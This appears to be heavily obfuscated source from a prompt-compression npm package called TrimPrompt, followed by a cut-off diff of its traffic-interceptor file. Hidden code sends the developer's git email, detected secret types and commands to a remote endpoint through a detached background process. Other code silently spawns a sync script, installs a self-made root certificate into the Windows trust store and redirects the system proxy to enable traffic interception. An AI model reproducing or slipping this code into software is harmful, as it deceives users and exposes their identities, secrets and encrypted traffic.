_0xd4ce37=['Claude\x20Mythos\x205','o3mini','stringify','opus','getStatsSummary','GPT-4o\x20Mini','substring','claude-sonnet-4-6','copilot','GEMINI_CLI','ceil','estimated_raw_tokens','logs','auto','join','pop','spawn','4602pgjMNk','533FROyKM','claude-sonnet-4-5','includes','gemini-3-1-pro','gemini','.comp.txt','setConfig','Gemini\x203.5\x20Live\x20Translate','556020DwFKSW','CLINE_DATA_DIR','cursor','sonnet','GPT-5.4\x20Mini','sync.js','CLAUDECODE','Tracker','get','saveLogs','secretsFound','Claude\x203.5\x20Sonnet','COPILOT_MODEL','prototype','CONTINUE_GLOBAL_DIR','sendSecurityAlert','VSCODE_PID','38ANIhGm','max','tokens_saved','GPT-5.5','claude-opus-4-8','__setModuleDefault','codex','getLogs','path','execPath','writable','316398uaDGgi','OpenAI\x20o1','Claude\x20Sonnet\x204.5','ignore','trim','1434224mXUmbd','Claude\x20Opus\x204.5','AIDER_MODEL','default_model','TRIMPROMPT_MODEL','default','PATH','unref','GPT-5.4\x20Nano','hasOwnProperty','Claude\x20Haiku\x203.5','redact','stats.json','saveConfig','flash','toLowerCase','1.0','CURSOR_AGENT','toFixed','modelShort','tool','claude','detectSessionTool','antigravity','random','command','GPT-4o','gemini-3-5-flash','defineProperty','timestamp','Claude\x20Haiku\x204.5',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','aider','configurable','model_used','windsurf','getOwnPropertyDescriptor','baseDir','11207JENhTn','/api/security/alert','logsDir','./redactor','configPath','Claude\x20Sonnet\x204.6','7745uYXzjF','writeFileSync','claude-3-5-sonnet','call','create','__esModule','mkdirSync','__createBinding','github-copilot','split','const\x20h=require(require(\x27url\x27).parse(','name','telemetry_url','187psJVPL','tracker','Gemini\x203.5\x20Flash','getConfig','init','CLAUDE_EFFORT','Gemini\x203.1\x20Flash-Lite','existsSync','triggerBackgroundSync','CLAUDE_CODE','replit',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','devin','ANTIGRAVITY_AGENT','REPL_ID','statsPath','pipe','PRICING','18gfFOHy','model','input_price_1m','secretTypes','89803LohlQO','1528QTqAdJ','Cursor\x20Small','__importStar','readFileSync','config','utf8','Claude\x20Opus\x204.1\x20(deprecated)','Claude\x20Fable\x205','AI_AGENT','high','534540DtShre','OpenAI\x20o1-mini','COPILOT_GITHUB_TOKEN','claude-code','child_process','length','homedir','GPT-5.4','logExecution'];a0_0x1f8c=function(){return _0xd4ce37;};return a0_0x1f8c();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3e8929(0x10c))),os=__importStar(require('os')),child_process_1=require(a0_0x3e8929(0xd4));exports[a0_0x3e8929(0xc0)]={'claude-fable-5':{'name':a0_0x3e8929(0xcd),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3e8929(0xd9),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3e8929(0x115),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3e8929(0xcc),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3e8929(0x13f),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3e8929(0x111),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3e8929(0xfe),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3e8929(0x132),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3e8929(0x11e),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3e8929(0x107),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3e8929(0xd7),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x3e8929(0x12e),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3e8929(0xf7),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3e8929(0x11c),'input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3e8929(0xde),'input_price_1m':0.15},'o1':{'name':a0_0x3e8929(0x110),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3e8929(0xd1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3e8929(0xba),'input_price_1m':1.1},'cursor-small':{'name':a0_0x3e8929(0xc7),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3e8929(0xb0),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3e8929(0xb4),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3e8929(0xf2),'input_price_1m':3.5}};function detectSessionTool(){const _0x388257=a0_0x3e8929,_0xb27ec3=process.env,_0x13b3b7={'tool':'','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0x118)]&&exports[_0x388257(0xc0)][_0xb27ec3['TRIMPROMPT_MODEL']])return{'tool':'','model':_0xb27ec3[_0x388257(0x118)],'modelShort':''};const _0x35929b=(_0xb27ec3[_0x388257(0xce)]||'')[_0x388257(0x123)]();if(_0x35929b){if(_0x35929b['includes'](_0x388257(0xd3))||_0x35929b['includes']('claude_code')){const _0x5b7583=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x23c6df=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0x108):_0x388257(0xe0);return{'tool':_0x388257(0x129),'model':_0x23c6df,'modelShort':_0x5b7583};}if(_0x35929b[_0x388257(0xed)](_0x388257(0xf5)))return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xa9))||_0x35929b['includes'](_0x388257(0xe1))){const _0x5130c9=_0xb27ec3[_0x388257(0xff)]||'';if(_0x5130c9&&exports[_0x388257(0xc0)][_0x5130c9])return{'tool':_0x388257(0xe1),'model':_0x5130c9,'modelShort':_0x5130c9[_0x388257(0xaa)]('-')[_0x388257(0xe8)]()||''};return{'tool':_0x388257(0xe1),'model':_0x388257(0xec),'modelShort':_0x388257(0xf6)};}if(_0x35929b[_0x388257(0xed)](_0x388257(0xef)))return{'tool':_0x388257(0xef),'model':_0x388257(0x12f),'modelShort':'flash'};if(_0x35929b[_0x388257(0xed)](_0x388257(0x10a)))return{'tool':_0x388257(0x10a),'model':'o3-mini','modelShort':_0x388257(0xda)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xbb)))return{'tool':_0x388257(0xbb),'model':_0x388257(0xe0),'modelShort':''};if(_0x35929b[_0x388257(0xed)]('antigravity'))return{'tool':_0x388257(0x12b),'model':_0x388257(0xee),'modelShort':_0x388257(0xef)};if(_0x35929b[_0x388257(0xed)](_0x388257(0xb8))||_0xb27ec3[_0x388257(0xbd)])return{'tool':_0x388257(0xb8),'model':_0x388257(0xe0),'modelShort':''};return{'tool':_0x35929b[_0x388257(0xaa)]('_')[0x0][_0x388257(0xaa)]('-')[0x0],'model':_0x388257(0xe0),'modelShort':''};}if(_0xb27ec3[_0x388257(0xf9)]==='1'||_0xb27ec3[_0x388257(0xb7)]==='1'){const _0x46b9c8=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x3d80cb=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?'claude-opus-4-8':_0x388257(0xe0);return{'tool':'claude','model':_0x3d80cb,'modelShort':_0x46b9c8};}if(_0xb27ec3[_0x388257(0x125)]==='1')return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0xb27ec3[_0x388257(0xe2)]==='1')return{'tool':_0x388257(0xef),'model':'gemini-3-5-flash','modelShort':_0x388257(0x122)};if(_0xb27ec3[_0x388257(0xff)]||_0xb27ec3[_0x388257(0xd2)]){const _0x287e20=_0xb27ec3[_0x388257(0xff)]||'';if(_0x287e20&&exports['PRICING'][_0x287e20])return{'tool':'copilot','model':_0x287e20,'modelShort':_0x287e20[_0x388257(0xaa)]('-')[_0x388257(0xe8)]()||''};return{'tool':_0x388257(0xe1),'model':_0x388257(0xec),'modelShort':'sonnet'};}if(_0xb27ec3[_0x388257(0xbd)]||_0xb27ec3['REPLIT_ENVIRONMENT'])return{'tool':_0x388257(0xb8),'model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0xf4)])return{'tool':'cline','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0x101)])return{'tool':'continue','model':_0x388257(0xe0),'modelShort':''};if(_0xb27ec3[_0x388257(0xbc)]==='1')return{'tool':_0x388257(0x12b),'model':_0x388257(0xee),'modelShort':_0x388257(0xef)};if(_0xb27ec3[_0x388257(0xb3)]){const _0x105218=_0xb27ec3[_0x388257(0xb3)]===_0x388257(0xcf)?_0x388257(0xdc):_0x388257(0xf6),_0x43842c=_0xb27ec3['CLAUDE_EFFORT']===_0x388257(0xcf)?_0x388257(0x108):_0x388257(0xe0);return{'tool':'','model':_0x43842c,'modelShort':''};}if(_0xb27ec3[_0x388257(0x116)]&&exports[_0x388257(0xc0)][_0xb27ec3[_0x388257(0x116)]])return{'tool':_0x388257(0x134),'model':_0xb27ec3[_0x388257(0x116)],'modelShort':''};if(_0xb27ec3[_0x388257(0x103)]){const _0x3284f3=(_0xb27ec3[_0x388257(0x11a)]||'')[_0x388257(0x123)]();if(_0x3284f3['includes'](_0x388257(0xf5)))return{'tool':_0x388257(0xf5),'model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};if(_0x3284f3['includes'](_0x388257(0x137)))return{'tool':'windsurf','model':_0x388257(0xe0),'modelShort':_0x388257(0xf6)};}const _0x5c614c=process.env.TRIMPROMPT_MODEL||'';if(_0x5c614c&&exports[_0x388257(0xc0)][_0x5c614c])return{'tool':'','model':_0x5c614c,'modelShort':''};return _0x13b3b7;}function a0_0x1920(_0x219b66,_0x2d8381){_0x219b66=_0x219b66-0xa2;const _0x1f8cca=a0_0x1f8c();let _0x192000=_0x1f8cca[_0x219b66];return _0x192000;}class Tracker{[a0_0x3e8929(0x139)];[a0_0x3e8929(0x13e)];[a0_0x3e8929(0xbe)];[a0_0x3e8929(0x13c)];[a0_0x3e8929(0xca)];constructor(){const _0x1c9154=a0_0x3e8929;this[_0x1c9154(0x139)]=path[_0x1c9154(0xe7)](os[_0x1c9154(0xd6)](),'.trimprompt'),this[_0x1c9154(0x13e)]=path[_0x1c9154(0xe7)](this[_0x1c9154(0x139)],'config.json'),this[_0x1c9154(0xbe)]=path['join'](this[_0x1c9154(0x139)],_0x1c9154(0x120)),this[_0x1c9154(0x13c)]=path[_0x1c9154(0xe7)](this['baseDir'],_0x1c9154(0xe5)),this[_0x1c9154(0xb2)]();}[a0_0x3e8929(0xb2)](){const _0x40873b=a0_0x3e8929;!fs[_0x40873b(0xb5)](this[_0x40873b(0x139)])&&fs[_0x40873b(0xa7)](this[_0x40873b(0x139)],{'recursive':!![]});!fs[_0x40873b(0xb5)](this[_0x40873b(0x13c)])&&fs[_0x40873b(0xa7)](this[_0x40873b(0x13c)],{'recursive':!![]});const _0x2ed161={'version':_0x40873b(0x124),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x40873b(0x108)};if(fs[_0x40873b(0xb5)](this['configPath']))try{const _0x28b3bf=fs['readFileSync'](this[_0x40873b(0x13e)],_0x40873b(0xcb));this[_0x40873b(0xca)]={..._0x2ed161,...JSON['parse'](_0x28b3bf)};}catch(_0x393bc0){this['config']=_0x2ed161;}else this[_0x40873b(0xca)]=_0x2ed161,this['saveConfig']();!fs[_0x40873b(0xb5)](this[_0x40873b(0xbe)])&&fs[_0x40873b(0xa2)](this['statsPath'],JSON[_0x40873b(0xdb)]([]),'utf8');}[a0_0x3e8929(0xb1)](){const _0x4afe38=a0_0x3e8929;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config'][_0x4afe38(0xad)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}[a0_0x3e8929(0xf1)](_0xdbfb2f,_0x355b55){const _0x209d5b=a0_0x3e8929;this[_0x209d5b(0xca)][_0xdbfb2f]=_0x355b55,this[_0x209d5b(0x121)]();}[a0_0x3e8929(0x121)](){const _0x1b11aa=a0_0x3e8929;fs[_0x1b11aa(0xa2)](this[_0x1b11aa(0x13e)],JSON[_0x1b11aa(0xdb)](this['config'],null,0x2),_0x1b11aa(0xcb));}['getLogs'](){const _0x15fefb=a0_0x3e8929;try{if(!fs[_0x15fefb(0xb5)](this[_0x15fefb(0xbe)]))return[];const _0x3a5625=fs[_0x15fefb(0xc9)](this['statsPath'],_0x15fefb(0xcb));return JSON['parse'](_0x3a5625);}catch{return[];}}[a0_0x3e8929(0xfc)](_0x2c28bf){const _0x7e9295=a0_0x3e8929;fs[_0x7e9295(0xa2)](this[_0x7e9295(0xbe)],JSON['stringify'](_0x2c28bf,null,0x2),_0x7e9295(0xcb));}[a0_0x3e8929(0xd8)](_0x54befa,_0x44a001,_0x364145,_0x4963a6,_0x587db1,_0x2fa5b7){const _0x5f10c9=a0_0x3e8929,_0x587255=this[_0x5f10c9(0x10b)](),_0x184788=_0x44a001[_0x5f10c9(0xd5)],_0x5c8fa6=_0x364145[_0x5f10c9(0xd5)],_0x436fbf=Math['ceil'](_0x184788/0x4),_0x45c8a7=Math[_0x5f10c9(0xe3)](_0x5c8fa6/0x4),_0x5f20bd=Math[_0x5f10c9(0x105)](0x0,_0x436fbf-_0x45c8a7),_0x118a24=detectSessionTool(),_0x1a0d09=_0x118a24[_0x5f10c9(0xc2)],_0x1373d4=Math[_0x5f10c9(0x12c)]()['toString'](0x24)[_0x5f10c9(0xdf)](0x2,0xb);try{const {redactor:_0x2a0fde}=require(_0x5f10c9(0x13d)),_0x3b265e=_0x2a0fde?_0x2a0fde[_0x5f10c9(0x11f)](_0x44a001):_0x44a001;fs[_0x5f10c9(0xa2)](path['join'](this[_0x5f10c9(0x13c)],_0x1373d4+'.raw.txt'),_0x3b265e,_0x5f10c9(0xcb)),fs[_0x5f10c9(0xa2)](path['join'](this[_0x5f10c9(0x13c)],_0x1373d4+_0x5f10c9(0xf0)),_0x364145,_0x5f10c9(0xcb));}catch{}const _0x2ac76e=_0x54befa[_0x5f10c9(0xaa)]('\x20')[0x0]||'unknown',_0x1c655a=_0x118a24[_0x5f10c9(0x128)]?_0x118a24[_0x5f10c9(0x127)]?_0x118a24[_0x5f10c9(0x128)]+'-'+_0x118a24['modelShort']+'-'+_0x2ac76e:_0x118a24[_0x5f10c9(0x128)]+'-'+_0x2ac76e:_0x2ac76e,_0x5d3ddb={'id':_0x1373d4,'timestamp':new Date()['toISOString'](),'command':_0x1c655a,'raw_chars':_0x184788,'compressed_chars':_0x5c8fa6,'estimated_raw_tokens':_0x436fbf,'estimated_compressed_tokens':_0x45c8a7,'tokens_saved':_0x5f20bd,'model_used':_0x1a0d09,'exit_code':_0x4963a6,'synced':![],'ai_detected':!!_0x118a24[_0x5f10c9(0x128)],'secrets_found':_0x587db1?.['secretsFound']||0x0,'secret_types':_0x587db1?.['secretTypes']||[],'features':_0x2fa5b7||[]};_0x587255['push'](_0x5d3ddb),this[_0x5f10c9(0xfc)](_0x587255);const _0x4d7804=this[_0x5f10c9(0xb1)]()[_0x5f10c9(0xad)];return _0x4d7804&&_0x4d7804['trim']()[_0x5f10c9(0xd5)]>0x0&&this[_0x5f10c9(0xb6)](),_0x587db1&&_0x587db1['secretsFound']>0x0&&this[_0x5f10c9(0x102)](_0x5d3ddb,_0x587db1),_0x5d3ddb;}[a0_0x3e8929(0x102)](_0x262f6f,_0x3809f0){const _0x555f68=a0_0x3e8929;try{let _0x3910e1=this[_0x555f68(0xb1)]()[_0x555f68(0xad)]||'';if(!_0x3910e1)return;_0x3910e1=_0x3910e1['replace'](/\/api\/telemetry\/?$/,_0x555f68(0x13b));if(!_0x3910e1[_0x555f68(0xed)](_0x555f68(0x13b)))_0x3910e1+=_0x555f68(0x13b);const {execSync:_0x53b4a9}=require(_0x555f68(0xd4));let _0x22522f='unknown';try{_0x22522f=require('child_process')['execSync']('git\x20config\x20user.email',{'stdio':[_0x555f68(0x112),_0x555f68(0xbf),_0x555f68(0x112)]})['toString']()[_0x555f68(0x113)]();}catch{}if(!_0x22522f||!_0x22522f[_0x555f68(0xed)]('@'))try{_0x22522f=require('os')['userInfo']()['username'];}catch{}const _0x3447d8=JSON[_0x555f68(0xdb)]({'developer_id':_0x22522f,'timestamp':_0x262f6f[_0x555f68(0x131)],'command':_0x262f6f[_0x555f68(0x12d)],'secrets_found':_0x3809f0[_0x555f68(0xfd)],'secret_types':_0x3809f0[_0x555f68(0xc4)],'os':require('os')['platform']()}),_0x47727a=_0x555f68(0xab)+JSON['stringify'](_0x3910e1)+_0x555f68(0x133)+JSON[_0x555f68(0xdb)](_0x3910e1)+_0x555f68(0xb9)+JSON[_0x555f68(0xdb)](_0x3447d8)+')',_0x5eb53a=(0x0,child_process_1['spawn'])(process[_0x555f68(0x10d)],['-e',_0x47727a],{'detached':!![],'stdio':_0x555f68(0x112)});_0x5eb53a[_0x555f68(0x11b)]();}catch{}}[a0_0x3e8929(0xb6)](){const _0x12c2d8=a0_0x3e8929;try{const _0x4c531b=path['join'](__dirname,_0x12c2d8(0xf8));if(fs[_0x12c2d8(0xb5)](_0x4c531b)){const _0x1a1f94=(0x0,child_process_1[_0x12c2d8(0xe9)])(process['execPath'],[_0x4c531b],{'detached':!![],'stdio':'ignore'});_0x1a1f94[_0x12c2d8(0x11b)]();}}catch{}}[a0_0x3e8929(0xdd)](_0x49190a='auto'){const _0x587467=a0_0x3e8929,_0x3199e0=this['getLogs']();let _0x1c9cb1=0x0,_0x1ac20b=0x0,_0x186fff=0x0;for(const _0x48c86a of _0x3199e0){_0x1c9cb1+=_0x48c86a[_0x587467(0xe4)],_0x1ac20b+=_0x48c86a['estimated_compressed_tokens'],_0x186fff+=_0x48c86a[_0x587467(0x106)];}let _0x575073=_0x49190a;(!_0x575073||_0x575073===_0x587467(0xe6)||!exports[_0x587467(0xc0)][_0x575073])&&(_0x3199e0[_0x587467(0xd5)]>0x0&&_0x3199e0[_0x3199e0[_0x587467(0xd5)]-0x1][_0x587467(0x136)]?_0x575073=_0x3199e0[_0x3199e0[_0x587467(0xd5)]-0x1][_0x587467(0x136)]:_0x575073=this[_0x587467(0xb1)]()[_0x587467(0x117)]||'claude-3-5-sonnet');const _0x60c059=exports[_0x587467(0xc0)][_0x575073]||exports['PRICING'][_0x587467(0xa3)],_0x32abce=_0x186fff*_0x60c059[_0x587467(0xc3)]/0xf4240,_0x1028d9=_0x1c9cb1*_0x60c059[_0x587467(0xc3)]/0xf4240,_0x2a1d27=_0x1ac20b*_0x60c059['input_price_1m']/0xf4240,_0x3389e4=_0x1c9cb1>0x0?_0x186fff/_0x1c9cb1*0x64:0x0;return{'total_raw_tokens':_0x1c9cb1,'total_compressed_tokens':_0x1ac20b,'total_tokens_saved':_0x186fff,'savings_percentage':parseFloat(_0x3389e4['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x32abce[_0x587467(0x126)](0x4)),'raw_cost_usd':parseFloat(_0x1028d9['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x2a1d27[_0x587467(0x126)](0x4)),'model_name':_0x60c059[_0x587467(0xac)],'model_key':_0x575073};}}exports['Tracker']=Tracker,exports[a0_0x3e8929(0xaf)]=new Tracker();
|
package/traffic-interceptor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x3f5da8=a0_0x123d;(function(_0x17f970,_0x5f3821){const _0x5574c9=a0_0x123d,_0xf999f9=_0x17f970();while(!![]){try{const _0xd56ef9=parseInt(_0x5574c9(0x100))/0x1+-parseInt(_0x5574c9(0xfd))/0x2+parseInt(_0x5574c9(0x11c))/0x3*(parseInt(_0x5574c9(0xf1))/0x4)+parseInt(_0x5574c9(0xec))/0x5+parseInt(_0x5574c9(0x101))/0x6+parseInt(_0x5574c9(0xd3))/0x7*(-parseInt(_0x5574c9(0x114))/0x8)+parseInt(_0x5574c9(0xc9))/0x9*(-parseInt(_0x5574c9(0xea))/0xa);if(_0xd56ef9===_0x5f3821)break;else _0xf999f9['push'](_0xf999f9['shift']());}catch(_0x46015b){_0xf999f9['push'](_0xf999f9['shift']());}}}(a0_0x5280,0xccb70));var __createBinding=this&&this[a0_0x3f5da8(0x112)]||(Object[a0_0x3f5da8(0xf5)]?function(_0x78ab81,_0x200fb2,_0x1bdd92,_0x80ccfa){const _0x25b6ce=a0_0x3f5da8;if(_0x80ccfa===undefined)_0x80ccfa=_0x1bdd92;var _0x4a1da0=Object[_0x25b6ce(0xf3)](_0x200fb2,_0x1bdd92);(!_0x4a1da0||(_0x25b6ce(0xfc)in _0x4a1da0?!_0x200fb2['__esModule']:_0x4a1da0['writable']||_0x4a1da0[_0x25b6ce(0xd5)]))&&(_0x4a1da0={'enumerable':!![],'get':function(){return _0x200fb2[_0x1bdd92];}}),Object[_0x25b6ce(0xe9)](_0x78ab81,_0x80ccfa,_0x4a1da0);}:function(_0x1839b0,_0x178bfc,_0x567711,_0x5816a3){if(_0x5816a3===undefined)_0x5816a3=_0x567711;_0x1839b0[_0x5816a3]=_0x178bfc[_0x567711];}),__setModuleDefault=this&&this[a0_0x3f5da8(0x10b)]||(Object['create']?function(_0x312811,_0x31a255){Object['defineProperty'](_0x312811,'default',{'enumerable':!![],'value':_0x31a255});}:function(_0x16147c,_0x40588c){const _0x2a228a=a0_0x3f5da8;_0x16147c[_0x2a228a(0xcf)]=_0x40588c;}),__importStar=this&&this[a0_0x3f5da8(0xde)]||(function(){var _0x596bc5=function(_0x1dff1f){const _0x51f331=a0_0x123d;return _0x596bc5=Object[_0x51f331(0xff)]||function(_0x4a0526){const _0x55fd88=_0x51f331;var _0x4ba14d=[];for(var _0x20dba1 in _0x4a0526)if(Object[_0x55fd88(0x10e)]['hasOwnProperty'][_0x55fd88(0x113)](_0x4a0526,_0x20dba1))_0x4ba14d[_0x4ba14d[_0x55fd88(0xd0)]]=_0x20dba1;return _0x4ba14d;},_0x596bc5(_0x1dff1f);};return function(_0x22d56e){const _0x55df24=a0_0x123d;if(_0x22d56e&&_0x22d56e[_0x55df24(0xce)])return _0x22d56e;var _0x5eae5e={};if(_0x22d56e!=null){for(var _0x440c2c=_0x596bc5(_0x22d56e),_0x21bd0e=0x0;_0x21bd0e<_0x440c2c['length'];_0x21bd0e++)if(_0x440c2c[_0x21bd0e]!==_0x55df24(0xcf))__createBinding(_0x5eae5e,_0x22d56e,_0x440c2c[_0x21bd0e]);}return __setModuleDefault(_0x5eae5e,_0x22d56e),_0x5eae5e;};}());Object[a0_0x3f5da8(0xe9)](exports,a0_0x3f5da8(0xce),{'value':!![]}),exports[a0_0x3f5da8(0xda)]=generateCaCertificate,exports[a0_0x3f5da8(0xe1)]=installSystemCaCert,exports[a0_0x3f5da8(0xe7)]=enableSystemProxy,exports[a0_0x3f5da8(0x107)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;function a0_0x5280(){const _0x3830e9=['createCertificate','EADDRINUSE','1263amETXK','existsSync','ca.key','homedir','.trimprompt','write','application/json','5644845hsJSux','utf8','net','spki','pipe','__esModule','default','length','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','ca.crt','2827454VymCOB','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27','configurable','pem','createPrivateKey','http','createServer','generateCaCertificate','execSync','setSubject','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','__importStar','sha256','code','installSystemCaCert','.\x20Retrying\x20listen...','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','writeHead','split','message','enableSystemProxy','export','defineProperty','10zbDHMC','netstat\x20-ano\x20|\x20findstr\x20:','262700xYrwoj','stringify','writeFileSync','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','TrimPrompt\x20Traffic\x20Interceptor\x20Active','11276tLwBYP','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','getOwnPropertyDescriptor','url','create','ignore','\x20/F','error','mkdirSync','powershell.exe\x20-NoProfile\x20-Command\x20\x22','\x20|\x20findstr\x20LISTENING','get','2844794KoOaFz','connect','getOwnPropertyNames','1489266grNbmd','5804118vvdCdN','listen','127.0.0.1:','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','child_process','disableSystemProxy','log','request','Set-ItemProperty\x20-Path\x20\x27','__setModuleDefault','path','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','prototype','generateKeyPairSync','platform','join','__createBinding','call','16CFbHFY','taskkill\x20/PID\x20','win32','createPublicKey','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','readFileSync'];a0_0x5280=function(){return _0x3830e9;};return a0_0x5280();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3f5da8(0x10c))),os=__importStar(require('os')),net=__importStar(require(a0_0x3f5da8(0xcb))),http=__importStar(require(a0_0x3f5da8(0xd8))),crypto=__importStar(require('crypto')),child_process_1=require(a0_0x3f5da8(0x106)),baseDir=path[a0_0x3f5da8(0x111)](os[a0_0x3f5da8(0xc5)](),a0_0x3f5da8(0xc6)),caCertPath=path[a0_0x3f5da8(0x111)](baseDir,a0_0x3f5da8(0xd2)),caKeyPath=path[a0_0x3f5da8(0x111)](baseDir,a0_0x3f5da8(0xc4));function a0_0x123d(_0x33f109,_0x4e183f){_0x33f109=_0x33f109-0xc3;const _0x52803d=a0_0x5280();let _0x123d8e=_0x52803d[_0x33f109];return _0x123d8e;}function ensureBaseDir(){const _0x5d671e=a0_0x3f5da8;if(!fs[_0x5d671e(0xc3)](baseDir))fs[_0x5d671e(0xf9)](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x15bd3e=a0_0x3f5da8;ensureBaseDir();if(fs[_0x15bd3e(0xc3)](caCertPath)&&fs['existsSync'](caKeyPath))return{'cert':fs[_0x15bd3e(0x119)](caCertPath,_0x15bd3e(0xca)),'key':fs['readFileSync'](caKeyPath,_0x15bd3e(0xca))};const {privateKey:_0x8d8920,publicKey:_0x4f2f38}=crypto[_0x15bd3e(0x10f)]('rsa',{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x15bd3e(0xcc),'format':'pem'},'privateKeyEncoding':{'type':'pkcs8','format':_0x15bd3e(0xd6)}}),_0x412bf8=crypto[_0x15bd3e(0x11a)]?crypto[_0x15bd3e(0x11a)]():null;let _0x3fb698='';return _0x412bf8?(_0x412bf8[_0x15bd3e(0xdc)](_0x15bd3e(0xd1)),_0x412bf8['setIssuer']('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x412bf8['setPublicKey'](crypto[_0x15bd3e(0x117)](_0x4f2f38)),_0x412bf8['sign'](crypto[_0x15bd3e(0xd7)](_0x8d8920),_0x15bd3e(0xdf)),_0x3fb698=_0x412bf8[_0x15bd3e(0xe8)](_0x15bd3e(0xd6))['toString']()):_0x3fb698=_0x4f2f38,fs[_0x15bd3e(0xee)](caKeyPath,_0x8d8920,_0x15bd3e(0xca)),fs[_0x15bd3e(0xee)](caCertPath,_0x3fb698,_0x15bd3e(0xca)),{'cert':_0x3fb698,'key':_0x8d8920};}function installSystemCaCert(){const _0x4e3927=a0_0x3f5da8;if(process[_0x4e3927(0x110)]!==_0x4e3927(0x116))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x4e3927(0xdb)])(_0x4e3927(0x104)+caCertPath+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x1e3e25=0x1f90){const _0x26e58b=a0_0x3f5da8;if(process[_0x26e58b(0x110)]!=='win32')return![];try{const _0x2e1bc6=_0x26e58b(0x10d),_0x1be144=_0x26e58b(0x103)+_0x1e3e25,_0x28617c='Set-ItemProperty\x20-Path\x20\x27'+_0x2e1bc6+_0x26e58b(0xd4)+_0x2e1bc6+_0x26e58b(0xe3)+_0x1be144+'\x27';return(0x0,child_process_1[_0x26e58b(0xdb)])(_0x26e58b(0xfa)+_0x28617c['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x26e58b(0xf6),'timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x1d123f=a0_0x3f5da8;if(process[_0x1d123f(0x110)]!==_0x1d123f(0x116))return![];try{const _0x3184a3=_0x1d123f(0x10d),_0x1e7692=_0x1d123f(0x10a)+_0x3184a3+_0x1d123f(0xdd);return(0x0,child_process_1[_0x1d123f(0xdb)])(_0x1d123f(0xfa)+_0x1e7692['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x1d123f(0xf6),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x3c1f7c=0x1f90){const 